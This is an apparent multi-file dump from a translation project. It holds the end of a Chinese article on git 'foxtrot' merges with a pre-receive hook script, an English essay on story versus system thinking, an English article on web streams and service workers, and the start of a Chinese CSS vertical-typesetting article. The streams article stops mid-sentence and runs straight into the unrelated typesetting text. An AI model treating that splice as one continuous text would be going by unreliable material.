并不关心父级的先后次序。 当然你很不希望这样。你不希望“狐步舞”式的合并通过 `fast-forward` 的方式更新你的 *origin/master*,使得 *origin/master* 第一父级的地位不稳定。 看一下当“狐步舞”式的合并被 `push` 上去的时候会发生什么: ![“狐步舞”式的合并被 `push`](https://developer.atlassian.com/blog/2016/04/stop-foxtrots-now/05-foxtrot-pushed.png) 可以使用手指从 *origin/master* 开始沿着图形往下,在每个分叉的地方选择左边的分支,从而知道当前的第一父级的变更历史。 问题是,最初的第一个父级提交次序(从 *origin/master* 开始)是这样的: B, A. 但是当“狐步舞”式的合并被 `push` 之后,父级的次序变成这样了: D, C, A. 这时,B 节点已从 *origin/master* 第一父级中消失,事实上,B在它的第二父级上。当然,不会有任何资料的丢失,并且 B 节点仍然是 *origin/master* 的一部分。 但是,这样父级节点就会有错综复杂的关系。你是否知道,`tilda` 符号(例如 `~N`)指定从第 N 个提交的节点到第一个父节点间的路径? 你有没有想要看看你的分支上的每个提交记录之间的差异,但是使用 `git log -p` 显然会漏掉一些信息,使用 `git log -p -m` 能获取更多的信息吗? 尝试使用 `git log -p -m –first-parent` 吧。 你想过要还原一个合并的分支吗?那你需要为 `git revert` 提供 `-m parent-number` 选项,这时候你就很不希望自己提供的 `parent-number` 是错的。 和我一起工作的人,大多数都将第一个父级作为真正的 `master` 分支。有意识或无意识地,人们将 `git log –first-parent origin/master` 视为重要事物的顺序。 至于任何其他合并进来的分支?嗯,你应该知道他们会怎么说: ![topic](https://developer.atlassian.com/blog/2016/04/stop-foxtrots-now/06-what-happens-in-topic.jpg) 但是“狐步舞”式的合并把这些都混在了一起。请考虑下面的例子,其中 *origin/master* 分支的一系列的重要提交信息,与你自己的稍微不那么重要的提交并行: ![topic escaped](https://developer.atlassian.com/blog/2016/04/stop-foxtrots-now/07a-topic-branch-escape.png) 现在,你终于准备把你的工作并入到 `master` 中。你输入 `git pull`,或者可能你在一个主题分支上使用 `git merge master` 命令。那这样发生了什么?一个“狐步舞”式的合并就这么出现了。 ![topic escaped b](https://developer.atlassian.com/blog/2016/04/stop-foxtrots-now/07b-topic-branch-escape.png) 一切都没有什么大问题,除了当你键入 `git push`,让你的远程仓库接受它时,你的历史记录看起来像这样: ![topic escaped c](https://developer.atlassian.com/blog/2016/04/stop-foxtrots-now/07c-topic-branch-escape.png) ![topic escaped lego](https://developer.atlassian.com/blog/2016/04/stop-foxtrots-now/08-lego-topic-branch-escaped.jpg) ### 对于已经混入了“狐步舞”式的合并的 git 项目应该怎么做? 啥招都没有,随它们去吧。除非你重写 master 分支的历史而惹怒其他人,那么就去这么疯吧。 事实上,[不要这样做。](https://www.atlassian.com/git/tutorials/merging-vs-rebasing/the-golden-rule-of-rebasing/) ### 如何防止未来“狐步舞”式的合并出现在我的 git 项目中? 这有几个方法。我最喜欢的方式是下面的四步: 1. 为你的团队安装 Atlassian Bitbucket 服务器。 2. 安装我为 Bitbucket 服务器写的插件,名字叫“Bit Booster Commit Graph and More”。 你可以在下面的链接中找到他们:[https://marketplace.atlassian.com/plugins/com.bit-booster.bb](https://marketplace.atlassian.com/plugins/com.bit-booster.bb)[https://marketplace.atlassian.com/plugins/com.bit-booster.bb](https://marketplace.atlassian.com/plugins/com.bit-booster.bb) 3. 在你所有项目中,都点击 “Protect First Parent Hook” 上的 “Enabled” 按钮,也就是“启用”按钮: ![hook enabled](https://developer.atlassian.com/blog/2016/04/stop-foxtrots-now/09-hook-enabled.png) 4. 你可以在试用许可结束前免费使用31天。(感觉它好用的话,可以在试用期后进行购买)。 这是我最喜欢的方式,因为它杜绝了“狐步舞”的出现。每当有一个“狐步舞”式的合并被阻挡时,它会打印一只牛: ``` bash $ git commit -m 'my commit' $ git pull $ git push remote: _____________________________________________ remote: / \ remote: | Moo! Your bit-booster license has expired! | remote: \ / remote: --------------------------------------------- remote: \ ^__^ remote: \ (oo)\_______ remote: (__)\ )\/\ remote: ||----w | remote: || || remote: remote: *** PUSH REJECTED BY Protect-First-Parent HOOK *** remote: remote: Merge [da75830d94f5] is not allowed. *Current* master remote: must appear in the 'first-parent' position of the remote: subsequent commit. ``` 还有其他的方法。你可以禁止直接向 *master* 分支进行推送,并保证不在 `fast-forward` 的情况下合并 `pull-requests`。或者培训你的员工使用 `git pull –rebase` 命令,并且永远不要使用 `git merge master`。并且一旦你培训完你的员工,就不要再招聘其他员工了。 如果你可以直接访问远程仓库,则可以设置 `pre-receive hook`。 以下的 `bash` 脚本可以帮助你开始这项设置: ```bash #/bin/bash # Copyright (c) 2016 G. Sylvie Davies. http://bit-booster.com/ # Copyright (c) 2016 torek. http://stackoverflow.com/users/1256452/torek # License: MIT license. https://opensource.org/licenses/MIT while read oldrev newrev refname do if [ "$refname" = "refs/heads/master" ]; then MATCH=`git log --first-parent --pretty='%H %P' $oldrev..$newrev | grep $oldrev | awk '{ print \$2 }'` if [ "$oldrev" = "$MATCH" ]; then exit 0 else echo "*** PUSH REJECTED! FOXTROT MERGE BLOCKED!!! ***" exit 1 fi fi done ``` ### 我不小心创建了一个“狐步舞”式的合并,但我还没有 `push` 上去。我该怎么解决? 假设你安装了预先接收的钩子,并且阻止你“狐步舞”式的合并。你下一步做什么?你有三种可能的补救办法: 1. 普通的 `rebase`: ![使用 `rebase` 进行补救](https://developer.atlassian.com/blog/2016/04/stop-foxtrots-now/10-remedy-rebase.png) 2. 撤销你之前的合并,使你的 *origin/master* 分支成为第一父级: ![撤销 merge](https://developer.atlassian.com/blog/2016/04/stop-foxtrots-now/11-remedy-reverse-merge.png) 3. 在“狐步舞”式的合并后创建第二个合并并提交,以恢复 *origin/master* 的第一父级的地位。 ![补救](https://developer.atlassian.com/blog/2016/04/stop-foxtrots-now/12-remedy-man-o-war.png) 但请不要使用上面的第三种方法,因为最后的结果被称为“僧帽水母”式的合并,这种合并甚至比“狐步舞”式的合并更糟糕。 ### 总结 在最后,其实“狐步舞”式的合并也像其他的合并那样。两个(或多个)提交到一起融合成一个新的记录节点。就你的代码库而言,没有任何区别。无论 commit A 合并到 commit B 中还是反过来 commit B 合并到 commit A,从代码的角度来看最终结果是相同的。 但是,当涉及到你的仓库的历史记录时,以及有效地使用 git 工具集时,“狐步舞”式的合并会有一定的破坏性。通过设置相应的策略来防止其出现,可以使你仓库的历史记录更加清晰明了,并减少了需要记住的 git 命令选项的范围。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。 ================================================ FILE: TODO/story-thought-and-system-thought.md ================================================ > * 原文地址:[Story Thought and System Thought](https://medium.com/quora-design/story-thought-and-system-thought-188dce7a87e6#.lriaw6doa) * 原文作者:[Mills Baker](https://medium.com/@millsbaker?source=post_header_lockup) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者: * 校对者: # Story Thought and System Thought # Many disputes — in product development and in life — reflect differences in *how* people think as much as in *what* they think about a particular issue. We can’t always persuade one another simply by expressing our positions, introducing information, and counting “pros” and “cons.” Instead, our disagreements often start upstream, so to speak, as we and others diverge in which modes of thinking we consider legitimate. [1] Frameworks for understanding these modes can help us to translate between them, and one I’ve found useful was described to me by [David Cole](https://www.quora.com/profile/David-Cole) , who encountered it in a post by [Katja Grace](https://meteuphoric.wordpress.com/2010/04/23/systems-and-stories/). This is the **“story thought” vs. “system thought”** framework. [2] For designers working with engineers, PMs, and others, I think it’s often very valuable. #### A story or a system #### Story thought and system thought as modes have the following properties: - **Story thought** emphasizes subjective human experience, the primacy of individual actors, narrative and social ordering, messiness, edge cases, content, and above all *meaning.* - **System thought** emphasizes 3rd-person descriptions of phenomena from a neutral perspective, the interchangeability of actors and details, categorical or logical ordering, measurements, flow, form, and above all *coherence*. Some examples may be useful; when we think of any of these topics, we can usually imagine both the system view and the story view: **A sign-up wall** - Think of how frustrating a sign-up wall is for a person encountering it; perhaps imagine how obviously “system-benefitting” such a feature is, and worry that a user will “sense” that and think less of your brand; imagine how uncool it feels to have one, how “anathema to the spirit of the web” etc. - Look at the data and see that more people sign up with the wall than without; consider the mandatory nature of growth for the success of your product, which you think is good for the world, and how unclear the idea of “brand affinity” is, as well as whether you can (or should) make a short-term penalty / long-term gain tradeoff in this instance **The minimum wage** - Picture a hard-working individual who cannot possibly make ends meet on their low wage; imagine them also being a parent, or a student; think of the absence of opportunities for promotion, the stultifying effect of bone-dead low-wage-job exhaustion on their ambitions, or the wealth of their employer; think of other people who don’t work at all and yet are rich, and how individually unfair the world is - Imagine the systematic effects of raising the minimum wage; consider what evidence we have of the broadest effects of doing so, or how we’d generate evidence if no good evidence exists; think of the likelihood that every system will have costs, and compare the costs of ours to others, or the lives of minimum wage-earners today to people in the past; consider whether it’s relevant that some are rich; think of the best “overall” policy **Love** - Do you “love” your partner, or family or children? Does your love reflect who they are, who you are? Is it special, worth self-sacrifice? Is it unique or personal or beautiful, something worth celebrating with rituals, parties, tokens? Is it *meaningful?* - Is it human nature to seek what’s rewarded by our neurotransmitters, usually higher-order actions which flush those chemicals because they’re evolutionarily rewarding, making your love as meaningful as your metabolism, as unique as a bowel movement? Is it perhaps “a good feeling” but not especially meaningful? In all these cases, we should realize, both approaches have merit. They vary in how they address certain questions: how much does an individual’s perception matter, as opposed to objective fact? What kinds of things constitute evidence? Are analogies useful or distracting? Is everything measurable, or at least measurable by proxy? Is what’s immeasurable non-existent, or might you take it into account, and how might you? Our answers to these questions vary depending on the subject we’re considering. This is especially true when we’re thinking about areas we don’t know enough about yet to have complete theoretical systems. We’re *all* systems thinkers about physics; but we’re almost all story thinkers about love, at least at the level of action. We may blend modes, but when we marry, we don’t look at our spouse and think: *“Well, you or probably one hundred million others would work.”* ![](https://cdn-images-1.medium.com/max/600/1*yQRdAJV9bU567l1phVsO0g.png) Judith Rothschild, “Greenwich Village,” 1945. It’s worth noting that we tend to favor story thought when considering ourselves, while all-too-readily subsuming others into system thought’s constructs. The more closely we look at a situation, the less “generally” we will describe it and the more every particular detail, exception, and element matters. And we know ourselves at this level of “full reality,” but very few others. [3] It’s also worth noting that “areas we haven’t reduced to explanatory systems” tend to be areas that involve human beings as agents; as we have no explanatory model for mind, everything that involves mind — values, culture, society, history — is only somewhat reducible. This means that story thought will sometimes be the *only* mode available to us, or will at least be more useful than system thought whose depth is exaggerated. #### In companies #### Indeed, this is *why* we need story thought: it can give us insight into phenomena that system thought cannot. The opposite is also true, and it’s the nightmare of the scaled, contemporary world that no easy meta-framework exists for adjudicating when to use one or the other. In general, as human agency grows in importance for the things we’re thinking about, so too does the value of story thought; as scaled phenomena grow in importance, the value of system thought grows. Putting aside politics and our love lives, this lens is extremely useful for navigating technology companies. In sum: I believe **it’s usually the responsibility of designers to insist that a balance of story thought and system thought is applied** to product development. This is not because engineers, *as people*, or PMs, *as people*, are “prone to system thought”; they may or may not be, but their disciplines and the configuration of their organizations *almost always* are. This means that over time, best practices accumulate that favor system thought, and many of design’s partners will favor the measurable, the reducible, the general over the ineffable, the holistic, or the narrative in how they make decisions. (Bad designers will *only* favor the latter, giving their thinking a precious, privileged, arbitrary quality which can be costly). Of course, technology itself makes system thought more important and more valuable than it’s ever been —if only by dramatically increasing measurability in systems— so it’s not absurd for it to enjoy primacy as a mode of analysis. But it can lead to failure if over-promoted or overly-relied-upon. Let’s consider a stark example: if you’re a digital media company, how do you navigate the problem of “what content to produce”? You can - imagine an ideal or “first principles” your content should reflect, based on imagined audiences or extrinsic morals or anything else; you can then make decisions based on this idea and these principles, asking yourself “what people think about this mix”; or you can - measure what people click on and try to make more of that; assume that whatever they click on is what they want (how else can clicking be interpreted?), and made decisions based on usage data. Obviously, good organizations mix these two approaches — the former a story approach, the latter a system approach — but observers of the media industry would likely agree that over-indexing on the latter is at least partly why media is distrusted and disliked by consumers. Yes, those same consumers — or a majority of them — “engage” more with clickbait, sensationalism, and news-as-entertainment, but in the longer-term, people think that the desperate pursuit of attention at the expense of principle is disgusting, and they lose trust in media *as such.* There was probably no *measurement* that made that outcome clear as it happened. No one could have articulated a position against the stakeholders pushing CNN to become more sensationalistic which those stakeholders would have accepted; they would have had to appeal to “story thought,” including speculative assertions about long-term phenomena that we cannot measure well: values, culture, individual judgments apart from mob movements. Or they’d rely on the utility of *a priori *interpretive theories like “Jobs to Be Done” or “Kahneman’s two systems,” which may or may not resonate with system thinkers. [4] At best they’d have had “sentiment analyses” which do little in the face of “engagement data,” or perhaps they’d just blurt out their own personal claims that “over time, users don’t want trash even when they click on it more; they want quality,” whatever *that* is. Of course: someone probably did try that appeal, and they probably lost. Such a position is hard to defend against data, and especially when revenue follows engagement. But more striking is this: **the position’s truth is so obvious that we’d expect a 10 year old to understand it,** yet media companies struggled to weigh it appropriately [5]. In addition to such silly errors, insisting on systems-only thinking can lead to local maxima that constrain product development over time, a common outcome in many companies. Indeed, as most creativity consists of innovations that aren’t obviously “the next logical extension” of some pre-existing system, creativity itself is usually a victim of over-emphasized system thought, too. (There are also uncountable examples of story thought going awry. Almost every cockamamie app idea that fills you with despair arises from an underexamined, underchallenged story, such that many believe that systems thought is strictly superior. If there is *more *bad story thought, then advocating systems thought is useful generally. But in many technology companies, the dilemma is as often that systems thought is itself overrated. In any event: both lead to error if not checked, and sometimes even then). ![](https://cdn-images-1.medium.com/max/600/1*NzizwyFI-qb-BMsoQf85Mg.png) Wassily Kandinsky, “*Kleine Welten VII*,” 1922. #### Known Unknowns #### Sound organizations attempt to know both what they know *and* what they don’t and can’t, just as individuals should. Much of how humans think is mysterious still, but “mystery” simply isn’t part of any system. As individuals, we often navigate this easily: we alternate between modes based on which seems more useful, more valuable, more true. At a wedding, I’m unlikely to challenge anyone to justify their vows by bringing up evolutionary biology (not solely due to social cost, but also because I consider contemporary biology an incomplete account of love; most people do). But in technology organizations, being able to articulate why these two systems exist and persist — and what the strengths and weaknesses of each are — can help bridge gaps across functions and explain product proposals that would otherwise seem arbitrary and risky or reductive and short-sighted. Not being able to do this can lead to rancorous functional factionalism or, worse, frequent product failures. Story thought, which captures and understands human meanings, is central to creating things humans use and find valuable; system thought, which captures and understands scale, iteration, flow, and many aspects of technology and business, is central to making these valuable things accessible, sustainably available, and continuously improving. So consider the ways you lean on system or story thought; and consider when you’re collaborating how others do so. If you can explain your story in system terms, or your system in story terms — and why both modes matter — you’ll have an easier time attaining alignment and understanding what every kind of thinker can contribute to product development processes. #### Notes #### 1. To be concrete, “thinking” here means: what sorts of entities appear in our arguments; what kinds of operations we accept on those entities (analogies or measurements or anecdotes or the like); what tradeoffs we’ll make between reach and accuracy in our thinking; how much, if any, evidence we require, and what constitutes evidence. People of relative overall similarity can have strikingly different attitudes about modes of thinking, and when this happens persuasion can be very hard. 2. This dilemma is an old one in philosophy, exemplified for most by Kierkegaard’s resistance to Hegel; Walker Percy described Kierkegaard as saying that Hegel is “a philosopher who can explain everything under the sun except one small detail: what it means to be a human…” And indeed most of our systems work in precisely this fashion: whatever their overall predictive power, they fail to account for the subjective experience of human beings, and for the meanings that arise from them. 3. One of the powers of art is to focus our attention to this level of detail in other lives and experiences. This is why it’s possible to have anti-heroes in novels, or complex moral figures in film. A truly realistic portrayal of another almost always arouses our sympathy, because it renders our reductive moral systems ineffectual and prompts us to “judge them as we’d be judged.” 4. [Abhinav Sharma](https://twitter.com/abhinavsharma) has written about [using Kahneman’s ideas in product design](https://medium.com/quora-design/designing-fast-or-slow-2a4db40c39aa#.6y19u14qv) and how that lens clarifies some of these issues. 5. It’s probable that many do and did understand this, but their business models and the environment their industry is in make it hard for them pursue any course other than engagement-seeking. If so, innovation in models is needed, which is even harder than innovation in content or products. It may merely be that cultures need to realize how desperately they need news well-covered and must increase what they’ll pay for—how much they value— it. ================================================ FILE: TODO/streams-ftw.md ================================================ >* 原文链接 : [2016 - the year of web streams](https://jakearchibald.com/2016/streams-ftw/) * 原文作者 : [Jake](https://github.com/jakearchibald/) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : * 校对者: * 状态: 认领中 Yeah, ok, it's a touch bold to talk about something being _the thing of the year_ as early as January, but the potential of the web streams API has gotten me all excited. TL;DR: Streams can be used to do fun things like [turn clouds to butts](#cloud-to-butt), [transcode MPEG to GIF](#mpeg-to-gif), but most importantly, they can be combined with service workers to become [_the fastest_ way to serve content](#streaming-results). ## Streams, huh! What are they good for? Absolutely… some things. Promises are a great way to represent async delivery of a single value, but what about representing multiple values? Or multiple parts of larger value that arrives gradually? Say we wanted to fetch and display an image. That involves: 1. Fetching some data from the network 2. Processing it, turning it from compressed data into raw pixel data 3. Rendering it We could do this one step at a time, or we could stream it: If we handle & process the response bit by bit, we get to render _some_ of the image way sooner. We even get to render the whole image sooner, because the processing can happen in parallel with the fetching. This is streaming! We're _reading_ a stream from the network, _transforming_ it from compressed data to pixel data, then _writing_ it to the screen. You could achieve something similar with events, but streams come with benefits: * **Start/end aware** - although streams can be infinite * **Buffering of values that haven't been read** - whereas events that happen before listeners are attached are lost * **Chaining via piping** - you can pipe streams together to form an async sequence * **Built-in error handling** - errors will be propagated down the pipe * **Cancellation support** - and that cancellation message is passed back up the pipe * **Flow control** - you can react to the speed of the reader That last one is really important. Imagine we were using streams to download and display a video. If we can download and decode 200 frames of video per second, but only want to display 24 frames a second, we could end up with a huge backlog of decoded frames and run out of memory. This is where flow control comes in. The stream that's handling the rendering is pulling frames from the decoder stream 24 times a second. The decoder notices that it's producing frames faster than they're being read, and slows down. The network stream notices that it's fetching data faster than it's being read by the decoder, and slows the download. Because of the tight relationship between stream & reader, a stream can only have one reader. However, an unread stream can be "teed", meaning it's split into two streams that receive the same data. In this case, the tee manages the buffer across both readers. Ok, that's the theory, and I can see you're not ready to hand over that 2016 trophy just yet, but stay with me. The browser streams loads of things by default. Whenever you see the browser displaying parts of a page/image/video as it's downloading, that's thanks to streaming. However, it's only recently, thanks to a [standardisation effort](https://streams.spec.whatwg.org/), that streams are becoming exposed to script. ## Streams + the fetch API [`Response`](https://developer.mozilla.org/en-US/docs/Web/API/Response) objects, as defined by the [fetch spec](https://fetch.spec.whatwg.org/#response-class), let you read the response as a variety of formats, but `response.body` gives you access to the underlying stream. `response.body` is supported in the current stable version of Chrome. Say I wanted to get the content-length of a response, without relying on headers, and without keeping the whole response in memory. I could do it with streams: // fetch() resolves once headers have been received fetch(url).then(response => { // response.body is a readable stream. // Calling getReader() gives us exclusive access to // the stream's content var reader = response.body.getReader(); var bytesReceived = 0; // read() resolves when content has been received reader.read().then(function processResult(result) { // Result objects contain two properties: // done - true if the stream has already given // you all its data. // value - some data. Always undefined when // done is true. if (result.done) { console.log("Fetch complete"); return; } // result.value for fetch streams is a Uint8Array bytesReceived += result.value.length; console.log('Received', bytesReceived, 'bytes of data so far'); // Read some more, and call this function again return reader.read().then(processResult); }); }); **[View demo](http://jsbin.com/vuqasa/edit?js,console)** (1.3mb) The demo fetches 1.3mb of gzipped HTML from the server, which decompresses to 7.7mb. However, the result isn't held in memory. Each chunk's size is recorded, but the chunks themselves are garbage collected. `result.value` is whatever the creator of the stream provides, which can be anything: a string, number, date, ImageData, DOM element… but in the case of a fetch stream it's always a [`Uint8Array`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Uint8Array) of binary data. The whole response is each `Uint8Array` joined together. If you want the response as text, you can use [`TextDecoder`](https://developer.mozilla.org/en-US/docs/Web/API/TextDecoder/TextDecoder): var decoder = new TextDecoder(); var reader = response.body.getReader(); // read() resolves when content has been received reader.read().then(function processResult(result) { if (result.done) return; console.log( decoder.decode(result.value, {stream: true}) ); // Read some more, and recall this function return reader.read().then(processResult); }); `{stream: true}` means the decoder will keep a buffer if `result.value` ends mid-way through a UTF-8 code point, since a character like ♥ is represented as 3 bytes: `[0xE2, 0x99, 0xA5]`. `TextDecoder` is currently a little clumsy, but it's likely to become a transform stream in the future (once transform streams are defined). A transform stream is an object with a writable stream on `.writable` and a readable stream on `.readable`. It takes chunks into the writable, processes them, and passes something out through the readable. Using transform streams will look like this: Hypothetical future-code: var reader = response.body .pipeThrough(new TextDecoder()).getReader(); reader.read().then(result => { // result.value will be a string }); The browser should be able to optimise the above, since both the response stream and `TextDecoder` transform stream are owned by the browser. ### Cancelling a fetch A stream can be cancelled using `stream.cancel()` (so `response.body.cancel()` in the case of fetch) or `reader.cancel()`. Fetch reacts to this by stopping the download. **[View demo](https://jsbin.com/gameboy/edit?js,console)** (also, note the amazing random URL JSBin gave me). This demo searches a large document for a term, only keeps a small portion in memory, and stops fetching once a match is found. Anyway, this is all so 2015\. Here's the fun new stuff… ## Creating your own readable stream In Chrome Canary with the "Experimental web platform features" flag enabled, you can now create your own streams. var stream = new ReadableStream({ start(controller) {}, pull(controller) {}, cancel(reason) {} }, queuingStrategy); * `start` is called straight away. Use this to set up any underlying data sources (meaning, wherever you get your data from, which could be events, another stream, or just a variable like a string). If you return a promise from this and it rejects, it will signal an error through the stream. * `pull` is called when your stream's buffer isn't full, and is called repeatedly until it's full. Again, If you return a promise from this and it rejects, it will signal an error through the stream. Also, `pull` will not be called again until the returned promise fulfills. * `cancel` is called if the stream is cancelled. Use this to cancel any underlying data sources. * `queuingStrategy` defines how much this stream should ideally buffer, defaulting to one item - I'm not going to go into depth on this here, [the spec has more details](https://streams.spec.whatwg.org/#blqs-class). As for `controller`: * `controller.enqueue(whatever)` - queue data in the stream's buffer. * `controller.close()` - signal the end of the stream. * `controller.error(e)` - signal a terminal error. * `controller.desiredSize` - the amount of buffer remaining, which may be negative if the buffer is over-full. This number is calculated using the `queuingStrategy`. So if I wanted to create a stream that produced a random number every second, until it produced a number `> 0.9`, I'd do it like this: var interval; var stream = new ReadableStream({ start(controller) { interval = setInterval(() => { var num = Math.random(); // Add the number to the stream controller.enqueue(num); if (num > 0.9) { // Signal the end of the stream controller.close(); clearInterval(interval); } }, 1000); }, cancel() { // This is called if the reader cancels, //so we should stop generating numbers clearInterval(interval); } }); **[See it running](https://jsbin.com/fahavoz/edit?js,console)**. **Note:** You'll need Chrome Canary with `chrome://flags/#enable-experimental-web-platform-features` enabled. It's up to you when to pass data to `controller.enqueue`. You could just call it whenever you have data to send, making your stream a "push source", as above. Alternatively you could wait until `pull` is called, then use that as a signal to collect data from the underlying source and then `enqueue` it, making your stream a "pull source". Or you could do some combination of the two, whatever you want. Obeying `controller.desiredSize` means the stream is passing data along at the most efficient rate. This is known has having "backpressure support", meaning your stream reacts to the read-rate of the reader (like the video decoding example earlier). However, ignoring `desiredSize` won't break anything unless you run out of device memory. The spec has a good example of [creating a stream with backpressure support](https://streams.spec.whatwg.org/#example-rs-push-backpressure). Creating a stream on its own isn't particularly fun, and since they're new, there aren't a lot of APIs that support them, but there is one: new Response(readableStream); You can create an HTTP response object where the body is a stream, and you can use these as responses from a service worker! ## Serving a string, slowly **[View demo](https://jakearchibald.github.io/isserviceworkerready/demos/simple-stream/)**. **Note:** You'll need Chrome Canary with `chrome://flags/#enable-experimental-web-platform-features` enabled. You'll see a page of HTML rendering (deliberately) slowly. This response is entirely generated within a service worker. Here's the code: // In the service worker: self.addEventListener('fetch', event => { var html = '…html to serve…'; var stream = new ReadableStream({ start(controller) { var encoder = new TextEncoder(); // Our current position in `html` var pos = 0; // How much to serve on each push var chunkSize = 1; function push() { // Are we done? if (pos >= html.length) { controller.close(); return; } // Push some of the html, // converting it into an Uint8Array of utf-8 data controller.enqueue( encoder.encode(html.slice(pos, pos + chunkSize)) ); // Advance the position pos += chunkSize; // push again in ~5ms setTimeout(push, 5); } // Let's go! push(); } }); return new Response(stream, { headers: {'Content-Type': 'text/html'} }); }); When the browser reads a response body it expects to get chunks of `Uint8Array`, it fails if passed something else like a plain string. Thankfully `TextEncoder` can take a string and returns a `Uint8Array` of bytes representing that string. Like `TextDecoder`, `TextEncoder` should become a transform stream in future. ## Serving a transformed stream Like I said, transform streams haven't been defined yet, but you can achieve the same result by creating a readable stream that produces data sourced from another stream. ### "Cloud" to "butt" **[View demo](https://jakearchibald.github.io/isserviceworkerready/demos/transform-stream/)**. **Note:** You'll need Chrome Canary with `chrome://flags/#enable-experimental-web-platform-features` enabled. What you'll see is [this page](https://jakearchibald.github.io/isserviceworkerready/demos/transform-stream/cloud.html) (taken from the cloud computing article on Wikipedia) but with every instance of "cloud" replaced with "butt". The benefit of doing this as a stream is you can get transformed content on the screen while you're still downloading the original. [Here's the code](https://github.com/jakearchibald/isserviceworkerready/blob/master/src/demos/transform-stream/sw.js), including details on some of the edge-cases. ### MPEG to GIF Video codecs are really efficient, but videos don't autoplay on mobile. GIFs autoplay, but they're huge. Well, here's a _really stupid_ solution: **[View demo](https://jakearchibald.github.io/isserviceworkerready/demos/gif-stream/)**. **Note:** You'll need Chrome Canary with `chrome://flags/#enable-experimental-web-platform-features` enabled. Streaming is useful here as the first frame of the GIF can be displayed while we're still decoding MPEG frames. So there you go! A 26mb GIF delivered using only 0.9mb of MPEG! Perfect! Except it isn't real-time, and uses a lot of CPU. Browsers should really allow autoplaying of videos on mobile, especially if muted, and it's something Chrome is working towards right now. Full disclosure: I cheated somewhat in the demo. It downloads the whole MPEG before it begins. I wanted to get it streaming from the network, but I ran into an `OutOfSkillError`. Also, the GIF really shouldn't loop while it's downloading, that's a bug we're looking into. ## Creating one stream from multiple sources to supercharge page render times This is probably the most practical application of service worker + streams. The benefit is _huge_ in terms of performance. A few months ago I built a [demo of an offline-first wikipedia](https://wiki-offline.jakearchibald.com/). I wanted to create a truly progressive web-app that worked fast, and added modern features as enhancements. In terms of performance, the numbers I'm going to talk about are based on a lossy 3g connection simulated using OSX's Network Link Conditioner. Without the service worker it displays content sent to it by the server. I put a lot of effort into performance here, and it paid off: ![](http://ww4.sinaimg.cn/large/a490147fjw1f1igoc3j3dj20np04b0t0.jpg) **[View demo](https://wiki-offline.jakearchibald.com/wiki/Google?use-url-flags&prevent-sw=1)** Not bad. I added a service worker to mix in some offline-first goodness and improve performance further. And the results? ![](http://ww3.sinaimg.cn/large/a490147fjw1f1igpzwl7cj20my04mdg8.jpg) **[View demo](https://wiki-offline.jakearchibald.com/wiki/Google?use-url-flags&client-render=1&prevent-streaming=1&no-prefetch)** So um, first render is faster, but there's a massive regression when it comes to rendering content. The _fastest_ way would be to serve the entire page from the cache, but that involves caching all of Wikipedia. Instead, I served a page that contained the CSS, JavaScript and header, getting a fast initial render, then let the page's JavaScript set about fetching the article content. And that's where I lost all the performance - client-side rendering. HTML renders as it downloads, whether it's served straight from a server or via a service worker. But I'm fetching the content from the page using JavaScript, then writing it to `innerHTML`, bypassing the streaming parser. Because of this, the content has to be fully downloaded before it can be displayed, and that's where the two second regression comes from. The more content you're downloading, the more the lack of streaming hurts performance, and unfortunately for me, Wikipedia articles are pretty big (the Google article is 100k). This is why you'll see me whining about JavaScript-driven web-apps and frameworks - they tend to throw away streaming as step zero, and performance suffers as a result. I tried to claw some performance back using prefetching and pseudo-streaming. The pseudo-streaming is particularly hacky. The page fetches the article content and reads it as a stream. Once it receives 9k of content, it's written to `innerHTML`, then it's written to `innerHTML` again once the rest of the content arrives. This is horrible as it creates some elements twice, but hey, it's worth it: ![](http://ww1.sinaimg.cn/large/a490147fjw1f1igqvtyyrj20n405vdgi.jpg) **[View demo](https://wiki-offline.jakearchibald.com/wiki/Google?use-url-flags&client-render=1)** So the hacks improve things but it still lags behind server render, which isn't really acceptable. Furthermore, content that's added to the page using `innerHTML` doesn't quite behave the same as regular parsed content. Notably, inline ` ``` 问题就在复杂度上。在同一个页面上混合使用不同的嵌套的书写模式确实会搞垮浏览器。我不是浏览器工程师,但我有足够的常识知道渲染东西不是微不足道的。但是我是一个执着的人,所以必受其苦。 ![](https://www.chenhuijing.com/assets/images/posts/vertical-typesetting/diagram.svg) 一般的复选框 hack 策略 原始的 demo上,我在 `body` 元素上设置默认的书写模式为 `vertical-rl`,然后使用复选框来切换 `main` 元素里的书写模式。但是看起来似乎每个人(浏览器渲染引擎)都向上面的截图目录一样,以不同的方式处理嵌套的书写模式。 ### 调试 101: 重置为基准 记住,这是一个大脑转储条目,如果你觉得无聊,我对此表示抱歉。我做的第一件事就是删除所有样式,重新开始。再次重申,这个 demo 有效是因为它十分简单。上下文才是一切,朋友们。 ``` html { box-sizing: border-box; height: 100%; } *, *::before, *::after { box-sizing: inherit; } body { margin: 0; padding: 0; font-family: "Microsoft JhengHei", "微軟正黑體", "Heiti TC", "黑體-繁", sans-serif; text-align: justify; } ``` 这几乎成了我所有项目的事实起点。将所有元素设置成 `border-box`,而且通常我还会加上 `margin: 0` 和 `padding: 0` 作为样式重置的基础。但是就这个 demo 而言,我将让浏览器保留它的空白只重置 `body` 元素。 这个 demo 几乎全是中文,所以我只添加了中文字体,把系统自带的 sans-serif 作为后备。不过大多数情况来说,优先选择基于拉丁语的字体是个普遍的共识。但在这里,中文字体支持基本的拉丁字符,而反过来情况就不一样了。 当浏览器遇到中文字符时,它不会在基于拉丁语的字体中寻找,所以它会选用下一种备选字体,直到找到合适的。如果你先将中文字体列出来,浏览器将使用中文字体中的拉丁语字符,有时候这些字形没被打磨,看起来也不太好,尤其是在 Windows 上。 接下来是一些不太影响布局的美化(`line-height` 算吗?🤔) ``` img { max-height: 100%; max-width: 100%; } p { line-height: 2; } figure { margin: 0; } figcaption { font-family: "MingLiU", "微軟新細明體", "Apple LiSung", serif; line-height: 1.5; } 